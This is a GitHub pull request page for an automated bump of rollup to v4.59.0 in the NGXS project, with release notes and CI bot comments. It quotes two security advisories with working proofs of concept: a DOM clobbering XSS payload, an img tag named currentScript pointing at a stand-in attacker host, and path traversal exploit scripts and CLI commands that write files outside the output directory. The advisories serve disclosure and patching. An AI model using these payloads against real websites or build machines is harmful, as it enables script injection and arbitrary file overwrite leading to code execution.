Skip to content

chore(deps): update dependency rollup to v4.59.0 [security] - #2433

Merged
renovate[bot] merged 1 commit into
mark/bump-dep-versions_2026-06-16from
renovate/npm-rollup-vulnerability
Jun 16, 2026
Merged

chore(deps): update dependency rollup to v4.59.0 [security]#2433
renovate[bot] merged 1 commit into
mark/bump-dep-versions_2026-06-16from
renovate/npm-rollup-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Apr 8, 2026 •
edited
Loading

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
rollup (source) 4.43.0 → 4.59.0 age adoption passing confidence

DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS

CVE-2024-47068 / GHSA-gcx4-mw62-g8wm

More information

Details

Summary

We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.

Details
Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in rollup

We have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>
Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
	getResolveUrl(
		`'${escapeId(relativePath)}', ${
			umd ? `typeof document === 'undefined' ? location.href : ` : ''
		}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
	);

const getUrlFromDocument = (chunkId: string, umd = false) =>
	`${
		umd ? `typeof document === 'undefined' ? location.href : ` : ''
	}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
		chunkId
	)}', document.baseURI).href)`;

Severity

  • CVSS Score: 8.3 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Rollup 4 has Arbitrary File Write via Path Traversal

CVE-2026-27606 / GHSA-mw96-cpmx-2vgc

More information

Details

Summary

The Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (../) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.

Details

The vulnerability is caused by the combination of two flawed components in the Rollup core:

  1. Improper Sanitization: In src/utils/sanitizeFileName.ts, the INVALID_CHAR_REGEX used to clean user-provided names for chunks and assets excludes the period (.) and forward/backward slashes (/, \).

    // src/utils/sanitizeFileName.ts (Line 3)
const INVALID_CHAR_REGEX = /[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g;

    This allows path traversal sequences like ../../ to pass through the sanitizer unmodified.

  2. Unsafe Path Resolution: In src/rollup/rollup.ts, the writeOutputFile function uses path.resolve to combine the output directory with the "sanitized" filename.

    // src/rollup/rollup.ts (Line 317)
const fileName = resolve(outputOptions.dir || dirname(outputOptions.file!), outputFile.fileName);

    Because path.resolve follows the ../ sequences in outputFile.fileName, the resulting path points outside of the intended output directory. The subsequent call to fs.writeFile completes the arbitrary write.

PoC

A demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.

Scenario: CLI Named Input Exploit

  1. Target a sensitive file location (for demonstration, we will use a file in the project root called pwned.js).
  2. Execute Rollup with a specifically crafted named input where the key contains traversal characters: 
    rollup --input "a/../../pwned.js=main.js" --dir dist
  3. Result: Rollup will resolve the output path for the entry chunk as dist + a/../../pwned.js, which resolves to the project root. The file pwned.js is created/overwritten outside the dist folder.

Reproduction Files provided :

  • vuln_app.js: Isolated logic exactly replicating the sanitization and resolution bug.
  • exploit.py: Automated script to run the PoC and verify the file escape.

vuln_app.js

const path = require('path');
const fs = require('fs');

/**
 * REPLICATED ROLLUP VULNERABILITY
 * 
 * 1. Improper Sanitization (from src/utils/sanitizeFileName.ts)
 * 2. Unsafe Path Resolution (from src/rollup/rollup.ts)
 */

function sanitize(name) {
    // The vulnerability: Rollup's regex fails to strip dots and slashes, 
    // allowing path traversal sequences like '../'
    return name.replace(/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g, '_');
}

async function build(userSuppliedName) {
    const outputDir = path.join(__dirname, 'dist');
    const fileName = sanitize(userSuppliedName);

    // Vulnerability: path.resolve() follows traversal sequences in the filename
    const outputPath = path.resolve(outputDir, fileName);

    console.log(`[*] Target write path: ${outputPath}`);

    if (!fs.existsSync(path.dirname(outputPath))) {
        fs.mkdirSync(path.dirname(outputPath), { recursive: true });
    }

    fs.writeFileSync(outputPath, 'console.log("System Compromised!");');
    console.log(`[+] File written successfully.`);
}

build(process.argv[2] || 'bundle.js');

exploit.py

import subprocess
from pathlib import Path

def run_poc():
    # Target a file outside the 'dist' folder
    poc_dir = Path(__file__).parent
    malicious_filename = "../pwned_by_rollup.js"
    target_path = poc_dir / "pwned_by_rollup.js"

    print(f"=== Rollup Path Traversal PoC ===")
    print(f"[*] Malicious Filename: {malicious_filename}")
    
    # Trigger the vulnerable app
    subprocess.run(["node", "poc/vuln_app.js", malicious_filename])

    if target_path.exists():
        print(f"[SUCCESS] File escaped 'dist' folder!")
        print(f"[SUCCESS] Created: {target_path}")
        # target_path.unlink() # Cleanup
    else:
        print("[FAILED] Exploit did not work.")

if __name__ == "__main__":
    run_poc()
POC

rollup --input "bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js" --dir dist

image
Impact

This is a High level of severity vulnerability.

  • Arbitrary File Write: Attackers can overwrite sensitive files like ~/.ssh/authorized_keys, .bashrc, or system binaries if the build process has sufficient privileges.
  • Supply Chain Risk: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase.
  • User Impact: Developers running builds on untrusted repositories are at risk of system compromise.

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

rollup/rollup (rollup)

v4.59.0

Compare Source

2026-02-22

Features
  • Throw when the generated bundle contains paths that would leave the output directory (#​6276)
Pull Requests

v4.58.0

Compare Source

2026-02-20

Features
  • Also support __NO_SIDE_EFFECTS__ annotation before variable declarations declaring function expressions (#​6272)
Pull Requests

v4.57.1

Compare Source

2026-01-30

Bug Fixes
  • Fix heap corruption issue in Windows (#​6251)
  • Ensure exports of a dynamic import are fully included when called from a try...catch (#​6254)
Pull Requests

v4.57.0

Compare Source

2026-01-27

Features
  • Add import attributes to all plugin hooks that did not provide them yet (#​5700)
  • Deprecate returning import attributes from load or transform hooks as that will no longer be supported with rollup 5 (#​5700)
Pull Requests

v4.56.0

Compare Source

2026-01-22

Features
  • Track object property inclusions of dynamic namespace members (#​6230)
Bug Fixes
  • Handle methods that access dynamically imported namespace members via this (#​6230)
Pull Requests

v4.55.3

Compare Source

2026-01-21

Bug Fixes
  • Fix JSX semicolon insert position in variable declarations (#​6241)
Pull Requests

v4.55.2

Compare Source

2026-01-19

Bug Fixes
  • Sort manual chunks by execution order to reduce circular dependency issues (#​6240)
Pull Requests

v4.55.1

Compare Source

2026-01-05

Bug Fixes
  • Fix artifact reference for OpenBSD (#​6231)
Pull Requests

v4.54.0

Compare Source

2025-12-20

Features
  • Enable tree-shaking for Symbol.hasInstance, Symbol.dispose and Symbol.asyncDispose properties if unused (#​6046)
Bug Fixes
  • Ensure that well-known-Symbol-valued properties are not tree-shaken except in select cases (#​6046)
  • Ensure namespace properties are included when referenced only from a try-catch (#​6216)
Pull Requests

v4.53.5

Compare Source

2025-12-16

Bug Fixes
  • Fix wrong semicolon insertion position when using JSX (#​6206)
  • Generate spec-compliant sourcemaps when sources content is excluded (#​6196)
Pull Requests

v4.53.4

Compare Source

2025-12-15

Bug Fixes
  • Ensure Symbol.dispose and Symbol.asyncDispose properties are never removed with (await) using declarations. (#​6209)
Pull Requests

v4.53.3

Compare Source

2025-11-19

Bug Fixes
  • Fix an error where too many modules where flagged for having an unused external import (#​6182)
  • Fix an error where an assignment was wrongly tree-shaken when mutating it (#​6183)
Pull Requests

v4.53.2

Compare Source

2025-11-10

Bug Fixes
  • Do not throw when using invalid escape sequences in template literals (#​6177)
Pull Requests

v4.53.1

Compare Source

2025-11-07

Bug Fixes
Pull Requests

v4.53.0

Compare Source

2025-11-07

Features
  • Improve rendering performance by caching generated variable names (#​5947)
Pull Requests

v4.52.5

Compare Source

2025-10-18

Bug Fixes
  • Always produce valid UUIDs as debugIds in sourcemaps (#​6144)
Pull Requests

v4.52.4

Compare Source

2025-10-03

Bug Fixes
  • Fix an issue where the wrong branch of nullish coalescing was picked (#​6133)
Pull Requests

v4.52.3

Compare Source

2025-09-27

Bug Fixes
  • Fix check in native loader for environments that do not support reports (#​6123)
Pull Requests

v4.52.2

Compare Source

2025-09-23

Bug Fixes
  • Fix Android build crashing due to failed dlopen (#​6109)
Pull Requests

v4.52.1

Compare Source

2025-09-23

Bug Fixes
  • Opt-out of dynamic import optimization when using top-level await to effectively prevent deadlocks (#​6121)
Pull Requests

v4.52.0

Compare Source

2025-09-19

Features
  • Add option output.onlyExplicitManualChunks to turn off merging additional dependencies into manual chunks (#​6087)
  • Add support for x86_64-pc-windows-gnu platform (#​6110)
Pull Requests

v4.51.0

Compare Source

2025-09-19

Features
  • Support ROLLUP_FILE_URL_OBJ placeholder to inject file URLs into the generated code (#​6108)
Bug Fixes
  • Improve OpenHarmony build to work in more situations (#​6115)
Pull Requests

v4.50.2

Compare Source

2025-09-15

Bug Fixes
  • Resolve an issue where unused destructured array pattern declarations would conflict with included variables (#​6100)
Pull Requests

v4.50.1

Compare Source

2025-09-07

Bug Fixes
  • Resolve a situation where a destructuring default value was removed (#​6090)
Pull Requests

v4.50.0

Compare Source

2025-08-31

Features
  • Support openharmony-arm64 platform (#​6081)
Bug Fixes
  • Fix loading of extensionless imports in config files (#​6084)
Pull Requests

v4.49.0

Compare Source

2025-08-27

Features
  • Allow config plugins to resolve imports first before deciding whether to treat them as external (#​6038)
Pull Requests

v4.48.1

Compare Source

2025-08-25

Bug Fixes
  • Correctly ignore white-space in JSX strings around line-breaks (#​6051)
Pull Requests

v4.48.0

Compare Source

2025-08-23

Features
  • If configured, also keep unparseable import attributes of external dynamic imports in the output(#​6071)
Bug Fixes
  • Ensure variables referenced in non-removed import attributes are included (#​6071)
Pull Requests

v4.47.1

Compare Source

2025-08-21

Bug Fixes
  • Revert build process changes to investigate issues (#​6077)
Pull Requests

v4.47.0

Compare Source

2025-08-21

Features
  • Aggressively reduce WASM build size (#​6053)
Bug Fixes
  • Fix illegal instruction error on Android ARM platforms (#​6072)
  • Allow to pass explicit undefined for optional fields in Rollup types (#​6061)
Pull Requests

v4.46.4

Compare Source

2025-08-20

Bug Fixes
  • Do not omit synthetic namespaces when only accessed via in operator (#​6052)
Pull Requests

v4.46.3

Compare Source

2025-08-18

Bug Fixes
  • Resolve illegal instruction error on arm64 architectures (#​6055)
  • Resolve sourcemap generation performance regression (#​6057)
Pull Requests

✂ Note

PR body was truncated to here.

Configuration

📅 Schedule: (in timezone UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate
renovate Bot enabled auto-merge (squash) April 8, 2026 20:19
@nx-cloud

nx-cloud Bot commented Apr 8, 2026 •
edited
Loading

Copy link
Copy Markdown

View your CI Pipeline Execution ↗ for commit ab0a754

Command Status Duration Result
nx run-many --target=lint --all --exclude=creat... ✅ Succeeded <1s View ↗
nx run-many --target=test --all --configuration... ✅ Succeeded 2s View ↗
nx lint-types store ✅ Succeeded <1s View ↗
nx run-many --target=build --all ✅ Succeeded 1m 13s View ↗

💡 Verify your cache is correct by running tasks in a sandbox. Read docs ↗

☁️ Nx Cloud last updated this comment at 2026-06-08 21:19:41 UTC

@pkg-pr-new

pkg-pr-new Bot commented Apr 8, 2026 •
edited
Loading

Copy link
Copy Markdown

Open in StackBlitz

@ngxs/devtools-plugin

npm i https://pkg.pr.new/@ngxs/devtools-plugin@2433

@ngxs/form-plugin

npm i https://pkg.pr.new/@ngxs/form-plugin@2433

@ngxs/hmr-plugin

npm i https://pkg.pr.new/@ngxs/hmr-plugin@2433

@ngxs/router-plugin

npm i https://pkg.pr.new/@ngxs/router-plugin@2433

@ngxs/storage-plugin

npm i https://pkg.pr.new/@ngxs/storage-plugin@2433

@ngxs/store

npm i https://pkg.pr.new/@ngxs/store@2433

@ngxs/websocket-plugin

npm i https://pkg.pr.new/@ngxs/websocket-plugin@2433

commit: ab0a754

@bundlemon

bundlemon Bot commented Apr 8, 2026 •
edited
Loading

Copy link
Copy Markdown

BundleMon

Unchanged files (6)
Status Path Size Limits
❌ fesm2022/ngxs-store.mjs
 116.56KB 114KB / +0.5%
✅ fesm2022/ngxs-store-operators.mjs
 15.7KB 16KB / +0.5%
✅ fesm2022/ngxs-store-internals.mjs
 12.79KB 15KB / +0.5%
✅ fesm2022/ngxs-store-internals-testing.mjs
 10.32KB 13KB / +0.5%
✅ fesm2022/ngxs-store-plugins.mjs
 2.37KB 3KB / +0.5%
✅ fesm2022/ngxs-store-experimental.mjs
 574B 2KB / +0.5%

No change in files bundle size

Unchanged groups (1)
Status Path Size Limits
✅ @ngxs/store(fesm2022)[gzip]
./fesm2022/*.mjs
 39.54KB +1%

Final result: ❌

View report in BundleMon website ➡️

Current branch size history | Target branch size history

@bundlemon

bundlemon Bot commented Apr 8, 2026 •
edited
Loading

Copy link
Copy Markdown

BundleMon (NGXS Plugins)

Unchanged files (9)
Status Path Size Limits
✅ Plugins(fesm2022)[gzip]
storage-plugin/fesm2022/ngxs-storage-plugin.m
js
 4.17KB +0.5%
✅ Plugins(fesm2022)[gzip]
router-plugin/fesm2022/ngxs-router-plugin.mjs
 3.43KB +0.5%
✅ Plugins(fesm2022)[gzip]
hmr-plugin/fesm2022/ngxs-hmr-plugin.mjs
 2.78KB +0.5%
✅ Plugins(fesm2022)[gzip]
websocket-plugin/fesm2022/ngxs-websocket-plug
in.mjs
 2.61KB +0.5%
✅ Plugins(fesm2022)[gzip]
form-plugin/fesm2022/ngxs-form-plugin.mjs
 2.51KB +0.5%
✅ Plugins(fesm2022)[gzip]
devtools-plugin/fesm2022/ngxs-devtools-plugin
.mjs
 2.26KB +0.5%
✅ Plugins(fesm2022)[gzip]
logger-plugin/fesm2022/ngxs-logger-plugin.mjs
 2.07KB +0.5%
✅ Plugins(fesm2022)[gzip]
storage-plugin/fesm2022/ngxs-storage-plugin-i
nternals.mjs
 1004B +0.5%
✅ Plugins(fesm2022)[gzip]
router-plugin/fesm2022/ngxs-router-plugin-int
ernals.mjs
 453B +0.5%

No change in files bundle size

Unchanged groups (1)
Status Path Size Limits
✅ All Plugins(fesm2022)[gzip]
./-plugin/fesm2022/.mjs
 21.25KB +0.5%

Final result: ✅

View report in BundleMon website ➡️

Current branch size history | Target branch size history

@bundlemon

bundlemon Bot commented Apr 8, 2026 •
edited
Loading

Copy link
Copy Markdown

BundleMon (Integration Projects)

Unchanged files (1)
Status Path Size Limits
✅ Main bundles(Gzip)
hello-world-ng21/dist-integration/browser/mai
n-(hash).js
 67.97KB +1%

No change in files bundle size

Final result: ✅

View report in BundleMon website ➡️

Current branch size history | Target branch size history

@renovate
renovate Bot force-pushed the renovate/npm-rollup-vulnerability branch 8 times, most recently from fa12951 to 1a6beab Compare April 27, 2026 13:19
@renovate renovate Bot changed the title chore(deps): update dependency rollup to v4.59.0 [security] chore(deps): update dependency rollup to v4.59.0 [security] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
auto-merge was automatically disabled April 27, 2026 18:40

Pull request was closed

@renovate
renovate Bot deleted the renovate/npm-rollup-vulnerability branch April 27, 2026 18:40
@renovate renovate Bot changed the title chore(deps): update dependency rollup to v4.59.0 [security] - autoclosed chore(deps): update dependency rollup to v4.59.0 [security] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate
renovate Bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from 1a6beab to 3962fe2 Compare April 27, 2026 23:43
@renovate
renovate Bot force-pushed the renovate/npm-rollup-vulnerability branch from 3962fe2 to 8f21b09 Compare May 7, 2026 20:14
@renovate
renovate Bot enabled auto-merge (squash) May 7, 2026 20:14
@renovate
renovate Bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from 1fee4d9 to 73d7369 Compare May 10, 2026 18:49
@renovate
renovate Bot force-pushed the renovate/npm-rollup-vulnerability branch 4 times, most recently from 6f00bbc to 67073d3 Compare May 21, 2026 12:01
@renovate
renovate Bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from e64fe26 to a184d45 Compare June 2, 2026 19:45
@renovate
renovate Bot force-pushed the renovate/npm-rollup-vulnerability branch from a184d45 to ab0a754 Compare June 8, 2026 21:13
@markwhitfeld
markwhitfeld changed the base branch from master to mark/bump-dep-versions_2026-06-16 June 16, 2026 09:31
@renovate
renovate Bot merged commit 5867c41 into mark/bump-dep-versions_2026-06-16 Jun 16, 2026
12 of 14 checks passed
markwhitfeld added a commit that referenced this pull request Jun 17, 2026
@markwhitfeld @renovate @dependabot
chore(deps): resolve vulnerability scanner gripes (#2453)
156cbf5 
* chore(deps): update dependency @angular/common to v20.3.14 [security] (#2429)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @angular/ssr to v20.3.17 [security] (#2432)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency rollup to v4.59.0 [security] (#2433)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* build(deps): bump form-data from 4.0.3 to 4.0.5 (#2403)

Bumps [form-data](https://github.com/form-data/form-data) from 4.0.3 to 4.0.5.
- [Release notes](https://github.com/form-data/form-data/releases)
- [Changelog](https://github.com/form-data/form-data/blob/master/CHANGELOG.md)
- [Commits](form-data/form-data@v4.0.3...v4.0.5)

---
updated-dependencies:
- dependency-name: form-data
  dependency-version: 4.0.5
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>

* chore: bump internal angular package versions

* test: fix jest issue with updated angular ssr

* build: fix vulnerable axios version issue

* build: fix vulnerable upstream braces dependency

v3.0.3 fixes the vulnerbility

* build: fix vulnerable upstream dset dependency

v3.1.4 fixes the vulnerbility

* build: fix vulnerable upstream astro dependency

v4.16.19 fixes the vulnerability. This minor bump within astro 4.x
(constrained by @tutorialkit/astro alpha peer dep) also lifts rollup,
cookie, and prismjs out of their vulnerable ranges in the
tutorials/create-app lockfile.

* build: fix vulnerable upstream esbuild dependency

v0.25.0+ fixes the vulnerability. astro 4.x and vite 5.4.x pin
esbuild to ^0.21.x, so a yarn resolutions override is the only
path to a safe esbuild without a major astro bump (blocked by
the @tutorialkit/astro alpha peer).

* build: fix vulnerable upstream on-headers dependency

v1.1.0 fixes the vulnerability. Bumping serve from ^14.2.0 to
^14.2.5 brings compression to 1.8.1 which depends on on-headers
~1.1.0 across the root and hello-world-ng21 lockfiles.

* build: fix vulnerable upstream tmp dependency

v0.2.4+ fixes the vulnerability. Both available package-edit chains
(cypress 13->15 or nx 21->22) were major bumps to load-bearing
devDeps; a resolutions override on the tmp utility itself is lower
risk because tmp's API is stable across 0.2.x patches.

* build: pin zod-to-json-schema to fix create-app build

astro's loose `zod-to-json-schema: ^3.23.5` range over-resolves to
3.25.x, which requires zod >=3.25.28 (and at runtime imports the
`zod/v3` subpath). @tutorialkit/astro pins zod to exact 3.23.8 so
the build fails with 'Package subpath ./v3 is not defined'.

Pin zod-to-json-schema to 3.23.5 via yarn resolutions — the last
version with peer zod ^3.23.3. Regression was introduced when
the dset fix bumped astro 4.10.2 -> 4.15.10.

* chore: tweak integration lockfile

---------

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

@markwhitfeld markwhitfeld Awaiting requested review from markwhitfeld
@arturovt arturovt Awaiting requested review from arturovt
@kuncevic kuncevic Awaiting requested review from kuncevic
@Carniatto Carniatto Awaiting requested review from Carniatto
@poloagustin poloagustin Awaiting requested review from poloagustin
@joaqcid joaqcid Awaiting requested review from joaqcid
@splincode splincode Awaiting requested review from splincode

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants